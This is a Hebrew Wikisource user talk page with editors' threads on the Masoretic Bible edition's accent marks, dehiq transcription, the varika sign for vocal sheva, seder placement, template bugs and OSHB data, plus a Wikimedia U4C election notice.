== הצעה – ציטוט בוויקיטקסט מתוך מקרא על פי המסורה ==

אני עורך ערכים בוויקיטקסט, בעיקר כאלה שהם חלקים מהתפילה ומוסיף להם סימני הטעמות (כשמדובר במלעיל ולא במלרע). התפילה בנויה לרוב על פסוקים וכדי לכתוב אותם בצורה מדויקת אני מעדיף להשתמש בתבנית שתביא לי את המידע ממקור מהימן, אבל כרגע אין תבנית שתיתן לי את הפסוקים עם מיקומי ההטעמות שלהם (נגיד עם אפשרות של םֽ או ם֫). להבנתי משיחה עם @[[משתמש:נחום|נחום]] המידע שמגיע לתבניות צת וצת לעיצוב הוא מהגרסה המנוקדת. אני חושב שאפשר לשפר את זה משני כיוונים:
1. אני חושב שחבל שהמידע לא מגיע מהפרויקט הענק של ויקיטקסט – מקרא על פי המסורה.
2. אשמח שתהיה לי אפשרות ציטוט פסוקים עם סימון מיקומי ההטעמות (לרוב םֽ או ם֫, אפשרי לבחירת המשתמש כארגומנט).

האם לדעתך זה יהיה דבר אפשרי?

[[שיחת תבנית:צת]] [[משתמש:Kurpaph|Kurpaph]] ([[שיחת משתמש:Kurpaph|שיחה]]) 11:40, 29 באוקטובר 2025 (IST)

== יחזקאל לו:לח &quot;קדשים&quot; קמץ הקוף ==

'''הדיון הועבר אל [[שיחת ויקיטקסט:מבוא למקרא על פי המסורה/פרק ב#קמץ קטן]].'''

== Ps 53:6.3 ==

פָּ֥חֲדוּ פַחַד֮
.It seems to me that the first syllable in this word could use a stress helper above it
David E. S. Stein— [[מיוחד:תרומות/&amp;#126;2025-30591-86|&amp;#126;2025-30591-86]] • [[שיחת משתמש:&amp;#126;2025-30591-86|שיחה]] 16:28, 30 באוקטובר 2025 (IST)

:תודה דוד. אבל הוא '''[[תהלים נג/טעמים#נג ו|כבר נמצא שם]]'''! [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 17:00, 30 באוקטובר 2025 (IST)

== נקודה בו&quot;ו עיצורית ==

כפי שאתה מציין [[וק:מבוא למקרא על פי המסורה/פרק ב#נקודה בוי&quot;ו עיצורית|במבוא למקרא]], הושמטו הנקודות בו&quot;וים עיצוריות, לפי דבריך כדי למנוע בלבול. לכאורה הנקודות הללו הן דגשים חזקים, שמשפיעים על הקריאה, ואם כן דוקא השמטה שלהן היא שיש בה משום גרימת טעות. [[משתמש:הירש אייזנשטיין|הירש אייזנשטיין]] • [[שיחת משתמש: הירש אייזנשטיין|שיחה]] • ט&quot;ז בכסלו ה'תשפ&quot;ו • 23:20, 6 בדצמבר 2025 (IST)

:בוקר טוב ושבוע טוב. תודה רבה על תשומת הלב! לא מדובר על דגש, אבל מה שכתבתי במבוא לא היה מספיק כדי להבהיר את זה. ראה [[וק:מבוא למקרא על פי המסורה/פרק ב#נקודה בוי&quot;ו עיצורית|במבוא]] עכשיו. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 07:49, 7 בדצמבר 2025 (IST)

::כמדומני שגם את הנקודה המסומנת בא' ב[[ויקרא כג יז]] ו[[בראשית מג כו]] יש מסבירים באותו אופן, שלא מדובר בדגש חזק (שלא אמור היה לבוא כאן), אלא בסימן שהא' עיצורית ולא תיבלע קריאתה. אמנם שם כן נהגו בדפוסים לסמן את הנקודה. [[משתמש:בן עדריאל|בן עדריאל]] ([[שיחת משתמש:בן עדריאל|שיחה]]) 12:23, 7 בדצמבר 2025 (IST)

:::נכון, יש דמיון ניכר בין התופעות (נקודה באות לפני שורוק). יש גם שוני: אכן אפילו בדפוסים הקפידו על א' דגושה, ולא במקרה. המסורה הקפידה להורות במפורש על הדגשים האלה באל&quot;ף, והיא קוראית להם במפורש &quot;דגש&quot;. לכן יש עקביות גבוהה בנושא הזה בכתבי־היד (ובהמשך אחר כך בדפוסים). לכן ההסבר שהבאת יאה לתופעה: &quot;סימן שהא' עיצורית ולא תיבלע קריאתה&quot;. לעומת זאת, אין התייחסות בהערות המסורה לנקודה בוי&quot;ו עיצורית ואין הקפדה בכתבי־היד (ולרוב היא לא נכתבת). וההסבר שמציע ייבין הוא בעצם הפוך: הנקודה לא באה לסמן שהאות וי&quot;ו עיצורית, אלא לסמן &quot;שבמקרה זה הו' מבוטאת כתנועה ממש (היינו: uu); שהרי העיצור ו נֶהגה בדרך כלל כחצי תנועה, וכשבאה אחריו תנועת u, שהיא מסוגו, מתקרבת הגייתו להגיית תנועה ממש&quot;. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 12:56, 7 בדצמבר 2025 (IST)

== ויקרא י' פסוק ד' ==

בפסוק יש ציון במסורה לתלישא גדולה וגרשיים, אולם בתצוגה [[ויקרא י ד|כאן]] הסימון נראה כפול, מדוע ?
תודה, מתן [[מיוחד:תרומות/&amp;#126;2026-60674|&amp;#126;2026-60674]] • [[שיחת משתמש:&amp;#126;2026-60674|שיחה]] 00:06, 4 בינואר 2026 (IST)
:בוקר טוב, ותודה על תשומת הלב לפרטים! ראה בבקשה את '''[[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ב#גרש או גרשיים ותלישא גדולה בתיבה אחת|ההסבר כאן]]'''. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 06:29, 4 בינואר 2026 (IST)

== דפים במרחב שלך שאולי כבר אפשר למחוק ==

למשל [[משתמש:Dovi/תורה על פי המסורה/ספר ויקרא/שלם]], [[משתמש:Dovi/תורה על פי המסורה/ספר ויקרא/כ]]

אולי גם [[משתמש:Dovi/מקרא מבואר ספר שלם]]

הם מופיעים בדפי קטגוריה ובדפי &quot;דפים המקושרים לכאן&quot;. זה לא קריטי, אבל קצת מפריע.

אולי אפשר למחוק את התוכן שלהם וליצור מהם הפניה לדפים התואמים במתחם הראשי? תודה, [[משתמש:Ori229|&amp;#45;- אוֹרי]] ([[שיחת משתמש:Ori229|שיחה]]) 21:17, 21 בינואר 2026 (IST)

:למיטב ידיעתי הם נשארו עם התוכן הנוכחי בתור תיעוד כלשהו. [[משתמש:הירש אייזנשטיין|הירש אייזנשטיין]] • [[שיחת משתמש: הירש אייזנשטיין|שיחה]] • ג' בשבט ה'תשפ&quot;ו • 21:21, 21 בינואר 2026 (IST)

בוקר טוב. מכיוון שהעבודה התחילה במרחב האישי בתור טיוטות, אז חלק מה&quot;היסטוריה&quot; של דפי המקרא נמצא בדפים כאלה. אין כאן שום דבר קריטי. אבל אולי כדאי באמת להפוך אותם להפניות במקום למחוק לגמרי. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 05:29, 22 בינואר 2026 (IST)
:מעולה!  לקחתי את [[משתמש:Dovi/תורה על פי המסורה/נשא|פרשת נשא]] בתור ניסוי. השארתי את [[:תבנית:דף היסטורי משתמש]] שהיא בעצם סוג של הפניה וגם הסבר למה קיים הדף הזה. מקובל?  אני יכול לכתוב בוט שיעשה את זה לכל הדפים שיש בהם [[:תבנית:דף היסטורי משתמש]]? 
:נ.נ. אנחנו מחכים כצאן ללא רועה לשמוע את דעתך לגבי הפסיקים, השורות נפרדות, ולגבי מהדורת הכתיב ב[[שיחה:מקרא]]. [[משתמש:Ori229|&amp;#45;- אוֹרי]] ([[שיחת משתמש:Ori229|שיחה]]) 07:54, 22 בינואר 2026 (IST)

== אי עקביות בתנ&quot;ך הפונטי בתעתוק דחיק ==

ערב טוב,

רציתי להסב את תשומת לבך לכך ש[https://bdenckla.github.io/phonetic-hbo/tnkh/A2-Exodus/20.html בתנ&quot;ך הפונטי]  בספר שמות פרק כ, בפסוק כ ובפסוק כא מסומן דחיק ב'''לִּ'''י
{| class=&quot;wikitable&quot;
|תַּעֲשֶׂה־'''לִּ'''י
|ta·‘ă·se-'''llí'''
|}
לעומת זאת, בפרק יט', פסוק [https://bdenckla.github.io/phonetic-hbo/tnkh/A2-Exodus/19.html כג]: כִּֽי־אַתָּ֞ה הַעֵדֹ֤תָה '''בָּ֙'''נוּ֙ לֵאמֹ֔ר אמור להיות דחיק [https://he.wikisource.org/wiki/%D7%91%D7%99%D7%90%D7%95%D7%A8:%D7%93%D7%97%D7%99%D7%A7/%D7%A8%D7%A9%D7%99%D7%9E%D7%AA_%D7%9B%D7%9C_%D7%9E%D7%95%D7%A4%D7%A2%D7%99_%D7%94%D7%93%D7%97%D7%99%D7%A7_%D7%91%D7%9E%D7%A7%D7%A8%D7%90#:~:text=%D7%91%D6%B8%D6%BC%D6%99%D7%A0%D7%95%D6%BC%D6%99%20%D7%9C%D6%B5%D7%90%D7%9E%D6%B9%D6%94%D7%A8%20(-,%D7%A9%D7%9E%D7%95%D7%AA%20%D7%99%D7%98%2C%20%D7%9B%D7%92,-)%2C%20%D7%95%D6%B7%D7%99%D6%B9%D6%BC%D6%A8%D7%90%D7%9E%D6%B6%D7%A8%20%D7%99%D6%B0%D7%94%D7%95%D6%B9%D7%A9%D6%BB%D7%81%D6%9C%D7%A2%D6%B7%20%D7%90%D6%B6%D7%9C%2D%D7%9B%D6%B8%D6%BC%D7%9C] וכך מסומן גם בתנ&quot;ך סימנים, שגם בו מסומן דחיק באות בי&quot;ת, וגם על פי הדקדוק נראה לי שזה אינו דגש קל, אבל בתנ&quot;ך הפונטי מסומן רק דגש קל.
{| class=&quot;wikitable&quot;
|בָּ֙נוּ֙
|'''ba'''·nu
|}
נראה שגם בשאר התנ&quot;ך קיימת אי עקביות זו בתעתוק הדחיק, שבאותיות בג״ד כפ״ת הוא מסומן כדגש קל (כיוון שב'על התורה'  לא מסומן דחיק כדגש חזק באותיות בג״ד כפ״ת), ובשאר האותיות הוא מסומן כדגש חזק.

לפיכך, מומלץ לקבוע שיטה עקבית לתעתוק הדחיק, שתשמור על עקביות בין אותיות בג&quot;ד כפ&quot;ת לשאר האותיות. [[משתמש:נשיא|נשיא]] ([[שיחת משתמש:נשיא|שיחה]]) 21:15, 3 בפברואר 2026 (IST)

:בוקר טוב, ותודה על ההערה החשובה. אפנה אותה אל המתכנת שבנה את התנ&quot;ך הפונטי. לשם כך הוא לקח את הסימון של &quot;שווא נע&quot; ו&quot;דגש חזק&quot; מאתר על התורה (בשיתוף פעולה, ואנחנו מודים להם על כך). מקור הבעיה, כנראה, הוא הקושי לאתר ולסמן דחיק לאורך התנ&quot;ך באופן אוטומטי בתור בסיס ראשוני. כלומר: קל לאתר אותו ברוב האותיות, אך קשה יותר באותיות בג&quot;ד כפ&quot;ת. אמנם ייתכן שיש דרך לעשות את זה. אם תרצה, אוכל לשתף אותך בדיון מול המתכת, ואולי תוכל לעזור בביצוע ובידוק. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 09:14, 4 בפברואר 2026 (IST)
::ערב טוב, תודה על התשובה המהירה, אני לא מומחה לדקדוק, ואני סומך עליכם (אלא אם תגיעו למסקנה לא לבצע את זה עכשיו, אלא להתמקד בדברים אחרים, או שאין לכם עכשיו את המשאבים לביצוע הסימון) שתבצעו את זה באופן מקצועי ומדויק. לדעתי, אם אי אפשר לבצע את הסימון באמצעות קוד, אולי אפשר לבקש מהוצאה שמסמנת דגש חזק, שתשתף איתכם את רשימת הדחיק, לדוגמה ממכון סימנים, במהדורתו המבוססת על הכתר (במהדורה של התנ&quot;ך שיש אצלי, נראה לי משנת תשע&quot;ה שבו יש סימון של דגש חזק גם בדחיק),ואפשר לבקש מהם שישחררו את רשימת הדחיק לציבור דרך המיזם (אני לא יודע מה הסיכויים שהם יסכימו לשחרר את זה, אבל אם כן אז יהיה יחסית קל להוסיף את הסימון למהדורה). אני רוצה גם להביע הערכה למיזם באופן כללי, על הנגשת  נוסח המסורה בצורה חופשית,עם סימון של כמעט כל מה שצריך לקריאה, ובצורה המותאמת לקורא, דבר שכמעט ולא נעשה (אולי רק מכון סימנים ותיקון קוראים חורב), אז תודה רבה על כל ההשקעה בעריכה ובהגהה של התנ&quot;ך. [[משתמש:נשיא|נשיא]] ([[שיחת משתמש:נשיא|שיחה]]) 21:38, 4 בפברואר 2026 (IST)

== סדרים וגרסת דף אחד של ספרים ==

בזמן השוואה יחסית מהירה ולא קפדנית של הסדרים בין מקרא על פי המסורה ורשימת הסדרים של [https://shivalevitzaron.org/wp-content/uploads/2025/09/%D7%A8%D7%90%D7%A9%D7%99-%D7%A1%D7%93%D7%A8%D7%99-%D7%94%D7%AA%D7%A0%D7%9A-%D7%9C%D7%90%D7%AA%D7%A8.pdf שיבה לבצרון] (וכשנמצאה חוסר התאמה גם עם של [https://www.tanachyomi.co.il/PDFFiles/prakim.pdf תנ״ך יומי]), מצאתי את חוסר ההתאמות הבאות:
#שמואל סדר ג: מופיע בשמואל א ג:יט במקום ג:כ
#שמואל סדר יג: מופיע בשמואל א כ:ה במקום כ:ד
#שמואל סדר כא: מופיע בשמואל ב ב:ו במקום ב:ז
#מלכים סדר כב: מופיע במלכים ב ו:ז במקום ו:כג
#ישעיהו סדר כו: לא מופיע במקום ישעיהו סה:ט
בנוסף לכך, בדקתי את הסדרים לרוב בגרסאות הדף אחד של הספרים, ומצאתי טקסט (שכנראה לא מתאים שיהיה שם) במקומות הבאים:
ירמיהו יז:כו (סדר ט*): מופיע {{נוסח|
ירמיהו ל:לב: מופיע {#קטע:משתמש:Dovi/נביאים וכתובים על פי המסורה/ספר ירמיהו/ל|ירמיהו ל}}
תהילים צז:יב: דומה לנמצא מתחת, בדברי הימים
דברי הימים ב לד:לג: #קטע:דברי הימים ב לה/טעמים#קטע:דברי הימים ב לו/טעמיםתבנית:מ:טעמי המקרא-סוףתבנית:מ:שוליים-סוף [[מיוחד:תרומות/&amp;#126;2026-98926-0|&amp;#126;2026-98926-0]] • [[שיחת משתמש:&amp;#126;2026-98926-0|שיחה]] 21:38, 13 בפברואר 2026 (IST)
:שבוע טוב, ותודה על ההערות. עיקר המהדורות שצריך לבדוק לגבי שאלות מהסוג הזה: ברויאר (על פי כתר ארם צובה), וקורן (עשיתי השוואה מולו). וחשוב לבדוק ב'''[https://archive.org/details/kitabalkhilafmis0000mish/page/n5/mode/2up ספר החילופים]''', לקרוא [[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ה#חלוקת הסדרים בנביאים וכתובים|כאן במבוא]].
:אני רואה 5 מקומות ברורים בשאלתך (ראה למעלה), שמתוכם שלושת הראשונים הם שאלה של הזזה של פסוק אחד. אבדוק אותם בעזר&quot;ה. אחר כך #4 (מל&quot;ב ו) יש כבר הסבר בהערת נוסח, ו-#5 בסוף ישעיהו צריך לבדוק.
:אחר כך אינני מבין את ההמשך בדבריך. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 22:08, 14 בפברואר 2026 (IST)
::תודה רבה שוב! ראה בשינויים האחרונים בסדרים ובהערות הנוסח, בכולם יש תיקון כלשהו חוץ מ-#4. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 22:50, 14 בפברואר 2026 (IST)
::מה שכתבתי אחר כך הוא לגבי טקסט שכנראה לא אמור להיות בגרסת ״דף אחד״ של הספרים שציינתי, איפה שציינתי. כלומר, בגרסת דף אחד של [[ספר ירמיהו/טעמים|ירמיהו]], מופיע בפרק יז פסוק כו (שיש שם את סימון הסדר ט*) את הטקסט ״{{נוסח|״ (חשבתי שכתבתי שזה הטקסט שנמצא שם כשכתבתי את התגובה), וכך גם לשאר המקומות. יצא שנתקלתי במקרים האלה בזמן שהשוואתי את הסדרים, ולא השוואתי בגרסת ״דף אחד״ של כל ספר בהתחלה, אז אני לא יודע אם יש עוד מקרים כאלה [[מיוחד:תרומות/&amp;#126;2026-98926-0|&amp;#126;2026-98926-0]] • [[שיחת משתמש:&amp;#126;2026-98926-0|שיחה]] 23:22, 14 בפברואר 2026 (IST)
:::אם אתה מסתכל בדף העריכה בדף של פרק, אז קוד כגון ״{{נוסח|״ הוא תחילת תבנית. התבנית הזאת מכילה הערת נוסח, כלומר הערה הבאה להסביר את קביעת הנוסח המופיע בספרים. לילה טוב. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 23:27, 14 בפברואר 2026 (IST)
::::לא הסתכלתי בדף העריכה, הטקסט הזה הופיע כמו טקסט רגיל [[מיוחד:תרומות/&amp;#126;2026-98926-0|&amp;#126;2026-98926-0]] • [[שיחת משתמש:&amp;#126;2026-98926-0|שיחה]] 23:31, 14 בפברואר 2026 (IST)
תודה, עכשיו אני מבין. לגבי ירמיהו, יש שתי תקלות בקוד. את השנייה פתרתי עכשיו, אבל עוד לא הבנתי איך לפתור את הראשון. לגבי תהלים ודברי הימים, אין כאן טעות. הבעיה נובעת מהמגבלות שהאתר שם על גודל הדפים. כעת אי אפשר להציג את הספרים האלה במלואם, ובמקום זה רואים את הקישורים בסוף במקום את הטקסט הנכון. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 11:36, 15 בפברואר 2026 (IST)

== סימן רָפֶה ==

בוודאי כבר התייחסת לכך, בשיחה, או ב[[ויקיטקסט:מבוא למקרא על פי המסורה]] אך לא מצאתי. 

למשל ב&quot;וּֽלְﬞהַבְדִּ֔יל&quot; - מה הצורך של הסימן מעל האות ל? או מעל האות רי&quot;ש מספר פעמים ב[[בראשית כז/טעמים]]?

ושאלה נוספת: למה [https://unicode-explorer.com/c/FB1E HEBREW POINT JUDEO-SPANISH VARIKA] ולא [https://unicode-explorer.com/c/05BF HEBREW POINT RAFE]?

תודה, [[משתמש:Ori229|&amp;#45;- אוֹרי]] ([[שיחת משתמש:Ori229|שיחה]]) 12:26, 4 במרץ 2026 (IST)

:זה נועד לסמן שוא נע, וזו גם הסיבה שהסימן שונה. ועיין [[וק:מבוא למקרא על פי המסורה/פרק ב#חטפים באותיות לא גרוניות|בפסקה הרלבנטית במבוא]] (בפרט בסופה). [[משתמש:הירש אייזנשטיין|הירש אייזנשטיין]] • [[שיחת משתמש: הירש אייזנשטיין|שיחה]] • ט&quot;ו באדר ה'תשפ&quot;ו • 12:30, 4 במרץ 2026 (IST)

::תודה [[משתמש:הירש אייזנשטיין|הירש]] על התשובה המהירה והנכונה. [[משתמש:Ori229|אוֹרי]], אולי נכון שתדע שיש גם רפה אמיתי במקומות שונים, ראה [[וק:מבוא למקרא על פי המסורה/פרק ב#סימן הרפה|כאן]]. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 13:16, 4 במרץ 2026 (IST)

:::תודה לשניכם. הבנתי היטב את השימוש בסימן רפה. לגבי סימן וריקה - אני לא בטוח - תגידו לי אם אני מבין נכון:
לפי כללי הדקדוק הבסיסיים, &quot;חטף&quot; (חטף-פתח, חטף-סגול או חטף-קמץ) מופיע בדרך כלל באותיות גרוניות (א, ה, ח, ע) כדי לסייע בהגיית השווא. אולם, בכתבי יד עתיקים ומדויקים כמו כתר ארם צובה, מופיעים לעיתים חטפים גם באותיות רגילות.

'''הרב ברויאר''': החליט להפוך את כל החטפים הללו לשוואים רגילים. נימוקו: סימון החטף הוא רק &quot;מנהג&quot; להדגשת הקריאה ולא חובה הלכתית-מסורתית. הוא חשש שקורא מודרני יתבלבל ויחשוב שמדובר בתנועה רגילה.

'''מהדורת &quot;הכתר&quot;''': מתחו ביקורת על ברויאר. לטענתם, אם הכתר סימן חטף, עלינו להעתיק אותו בדיוק כפי שהוא, כי זו שיטת המסורה המקורית.

'''פשרה אצלינו''': כותבים שווא (כדי לא לבלבל את הקורא), אבל מוסיפים מעל האות את הסימן &quot;וריקה&quot;. כך הקורא יודע שבכתב היד המקורי היה שם חטף ושמדובר בשווא נע שיש להגות בבירור.

השימוש בסימן הוָרִיקָה מגיע מלאדינו. בדומה ליידיש שמשתמשת באותיות עבריות, גם הלאדינו נכתבה באותיות עבריות. כיוון שבספרדית יש צלילים שאינם קיימים בעברית המקראית, השתמשו בוריקה כסימן דיאקריטי (סימן הבחנה) כדי לשנות את הגיית האות. לדוגמה: בֿ (ב עם וריקה): נהגית כמו בית רפה.

השאלנו אצלינו את הוריקה מלאדינו כדי לסמן שוא נע. למה דוקא את הוריקה? כי הסימן דומה לסימן הרפה, וכך הקורא מבין שיש כאן הדגשה של &quot;תיקון קוראים&quot; לגבי ניקוד יוצא דופן. 

::אכן כך? תודה, [[משתמש:Ori229|&amp;#45;- אוֹרי]] ([[שיחת משתמש:Ori229|שיחה]]) 17:43, 4 במרץ 2026 (IST)

סיכום יפה [[משתמש:Ori229|אוֹרי]]. קצת הוספת דיוק: &quot;כך הקורא יודע שבכתב היד המקורי היה שם חטף '''כדי להורות על הנעת השווא''' שיש להגות בבירור... השאלנו אצלינו את הוריקה מלאדינו כדי לסמן שוא נע '''באותם מקומות שבכתבי־היד עושים את זה על־ידי כתיבת חטף'''.&quot; כדאי לדעת ש[[משתמש:Bdenckla|בן דנקלה]] מקדם את התהליך להוספת תווים ביוניקוד לשווא נע ודגש חזק. כשיהיה בעזר&quot;ה תו כזה לשווא נע, אז יהיה מקום לשקול את מחיקת ה&quot;וריקה&quot;, ואולי להשתמש בו לצורך אחר. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 22:12, 4 במרץ 2026 (IST)

== בעיה במהדורת הכתיב והמנוקדת ==

ערב טוב, ב[[:קטגוריה:תהלים לח כא]] וב[[:קטגוריה:שיר השירים א ה]] לדוגמה יש שגיאה בתצוגה של מהדורת הכתיב ומהדורת הניקוד, שחלק מהתבניות מכניסות טקסט לתוך הפסוק. כלומר &quot;שחורה אני ונאוה בנות ירושלם ד=כאהלי קדר כיריעות שלמה.&quot;;&quot;וּמְשַׁלְּמֵי רָעָה תַּחַת טוֹבָה יִשְׂטְנוּנִי תַּחַת רדופי לגבי קמץ קטן בתיבה זו ראו ויינברג 3.2.1.3; במהדורת סימנים הדפיסו קמץ רחב וגעיה, ואילו בתנ&quot;ך קורן קמץ קטן עם מתג.&quot; כלומר כנראה( לא בדקתי בעוד מקומות) הקוד של מהדורת הניקוד ושל מהדורת הכתיב לא 'יודע' להתמודד עם התבנית של קמץ במחלוקת ושל הערות נוסח . [[משתמש:נשיא|נשיא]] ([[שיחת משתמש:נשיא|שיחה]]) 22:03, 5 במרץ 2026 (IST)
: מתייג את {{א|Ori229}}.-- [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 05:14, 6 במרץ 2026 (IST)
: מעתיק מן המזנון:
:::: אני מהמר שזה קרה בגלל ניתוק מערכתי מכוון של ג'אווסקריפט עקב בעיות אבטחה. המון דברים לא עובדים. [[משתמש:IKhitron|IKhitron]] ([[שיחת משתמש:IKhitron|שיחה]]) [[ויקיטקסט:מזנון#c-IKhitron-20260305192800-%D7%94%D7%99%D7%A8%D7%A9 %D7%90%D7%99%D7%99%D7%96%D7%A0%D7%A9%D7%98%D7%99%D7%99%D7%9F-20260305182000|21:28, 5 במרץ 2026 (UTC+2)]]
: [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 05:18, 6 במרץ 2026 (IST)
:::::באג בתכנית ההסבה שלי - אתקן. [[משתמש:Ori229|&amp;#45;- אוֹרי]] ([[שיחת משתמש:Ori229|שיחה]]) 08:17, 6 במרץ 2026 (IST)
:::::: הבעייה היא בכל המקרא, לא רק בתהילים או בשיר השירים. [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 09:21, 6 במרץ 2026 (IST)
::::::: אכן. תיקנתי את מהדורת הכתיב על ידי בוט בכל המקרא. במהדורה המנוקדת מצאתי בעיות רק במקומות בהם היה שימוש יוצא דופן בתבניות ותיקנתי ידנית.
::::::: נחום, אם אתה מוצא טעות עדיין בבקשה תגיד לי. תודה, [[משתמש:Ori229|&amp;#45;- אוֹרי]] ([[שיחת משתמש:Ori229|שיחה]]) 09:34, 6 במרץ 2026 (IST)
תודה רבה אורי וכולכם. שבת שלום ומבורך, [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 10:14, 6 במרץ 2026 (IST)

== המהדורה הדקדוקית \ רכיבים ==

שבוע טוב, מה שלומך?

במסגרת הצלת המידע מאתר OSHB, שכבר לא מתוחזק, רציתי לנער את ה&quot;מהדורה הדקדוקית&quot; אצלינו, שכמעט ולא היה בה מידע מועיל עד עתה.

בבקשה ראה את העדכון שעשיתי ל[[בראשית א/רכיבים]]. מה דעתך? בדף יש מידע גולמי כפי שהוא באתר המקורי, וכל התצוגה הוויזואלית ניתנת לשינויים בעתיד ב[[תבנית:דקדוק]].

תודה, אורי [[משתמש:Ori229|&amp;#45;- אוֹרי]] ([[שיחת משתמש:Ori229|שיחה]]) 01:04, 12 באפריל 2026 (IDT)

:איזה יופי אורי! זה יפה ושימושי!
:זה הרבה, הרבה יותר יעיל ממה שהיה קודם באזור &quot;רכיבים&quot; (עד כדי כך שקודם חשבתי שכדאי למחוק אותו). אבל החומר הזה - חשוב מאוד שיישאר אצלנו לשימוש, והוא גם מציל את המידע שנשאר שם ב-OSHB לפני שירד חלילה לטמיון.
:יפה שאפילו מצאת דרך אוטומטית להפוך את &quot;צורת יסוד&quot; לשימושי. אולי יש גם דרך לנצל את &quot;קוד מזהה מילה&quot; (לא הבנתי מה זה), ל&quot;מורפולוגיה&quot;, ול&quot;מבנה על פי הטעמים&quot; (אם הבנתי נכון האחרון מצביע על דרגתם של המפסיקים)? [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 12:31, 12 באפריל 2026 (IDT)

::תודה רבה על העידוד.
::קוד מזהה מילה (ID) - זה סתם קוד לכל מילה ומילה בתנ&quot;ך. לא מצאתי בינתיים מה לעשות עם זה.
::מורפולוגיה - זה מה שיוצר את עיקר המידע בתחילת החלונית הצצה.
::מבנה על פי הטעמים - בזה השתמשתי ביצירת [[בראשית א/תרשים טעמים]]. אין לזה צורך במהדורה הדיקדוקית. אפשר באמת להסיר.
::צורת היסוד - בינתיים הפנתי למילון בוויקיטקסט באננגלית, אבל אני שוקל אם להעתיק אותו אלינו - ר' [[משתמש:Ori229/ארגז חול/קונקורדנציה]] - מה דעתך? [[משתמש:Ori229|&amp;#45;- אוֹרי]] ([[שיחת משתמש:Ori229|שיחה]]) 17:20, 12 באפריל 2026 (IDT)
::: זה נראה לי דבר מדהים לעשות אם תמצא דרך לעשות את זה בלי יותר מדאי קושי. [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 18:10, 12 באפריל 2026 (IDT)
:::: בכיף - הנה: [[מילון הקונקורדנציה של סטרונג]].
::::יש לי גם את כל דפי פרקי התנ&quot;ך מוכנים לטעינה - בהמשך אעלה עם בוט. [[משתמש:Ori229|&amp;#45;- אוֹרי]] ([[שיחת משתמש:Ori229|שיחה]]) 22:27, 12 באפריל 2026 (IDT)
::::...סיימתי. [[משתמש:Ori229|&amp;#45;- אוֹרי]] ([[שיחת משתמש:Ori229|שיחה]]) 19:58, 13 באפריל 2026 (IDT)
:::::תודה רבה [[משתמש:Ori229|&amp;#45;- אוֹרי]]! [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 18:39, 14 באפריל 2026 (IDT)

== הערה על פרשה שאינה במסורת הרמב&quot;ם אך מצויה בכתבי היד ==

תן דעתך לנכתב ב־[[שיחה:שמות כו/הערות נוסח]].-- [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 12:50, 27 באפריל 2026 (IDT)

:תודה [[משתמש:Nahum|Nahum]]! [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 16:03, 27 באפריל 2026 (IDT)

== You may be an eligible candidate for the U4C election ==

&lt;div lang=&quot;en&quot; dir=&quot;ltr&quot; class=&quot;mw-content-ltr&quot;&gt;
Greetings,

The [[m:Special:MyLanguage/Universal_Code_of_Conduct/Coordinating_Committee|Universal Code of Conduct Coordinating Committee (U4C)]] seeks candidates for the 2026 election. The U4C is the global committee responsible for overseeing enforcement of the [[foundation:Special:MyLanguage/Policy:Universal Code of Conduct|Universal Code of Conduct]]. Elections are held annually, if elected a committee member serves for two years.

This year the U4C requires candidates to hold administrator rights on at least one wiki, which is why you are being contacted as you appear to hold this right. There are other requirements, such as candidates must be at least 18 years old and may not be employed by the Wikimedia Foundation or other related chapters and affiliates. You can find more information in the [[m:Special:MyLanguage/Universal_Code_of_Conduct/Coordinating_Committee/Election/2026#Call_for_Candidates|call for candidates on Meta-wiki]]. Additionally, the committee's working language is English; some ability to communicate in English is required.

The election opens on 18 May, if you are eligible and interested you have until 10 May to submit your candidacy. There will week between for candidates to answer questions from the community. Voting takes place privately in [[m:Special:MyLanguage/SecurePoll|SecurePoll]], successful candidates must receive at least 60% support. More information is available on [[m:Special:MyLanguage/Universal_Code_of_Conduct/Coordinating_Committee/Election/2026|the 2026 Elections page]], including timelines and other candidacy information. If you read over the material and consider yourself qualified, please consider submitting your name to run for the committee. If you think someone else in your community might be interested and qualified, please encourage them to run.

In partnership with the U4C -- [[m:User:Keegan (WMF)|Keegan (WMF)]] ([[m:User_talk:Keegan (WMF)|talk]]) 21:33, 28 באפריל 2026 (IDT) &lt;/div&gt;
&lt;!-- הודעה שנשלחה על־ידי User:Keegan (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=User:Keegan_(WMF)/test&amp;oldid=30471754 --&gt;

== פרשת בהעלותך: ויעמד אתם סביבת האהל ==

שלום,
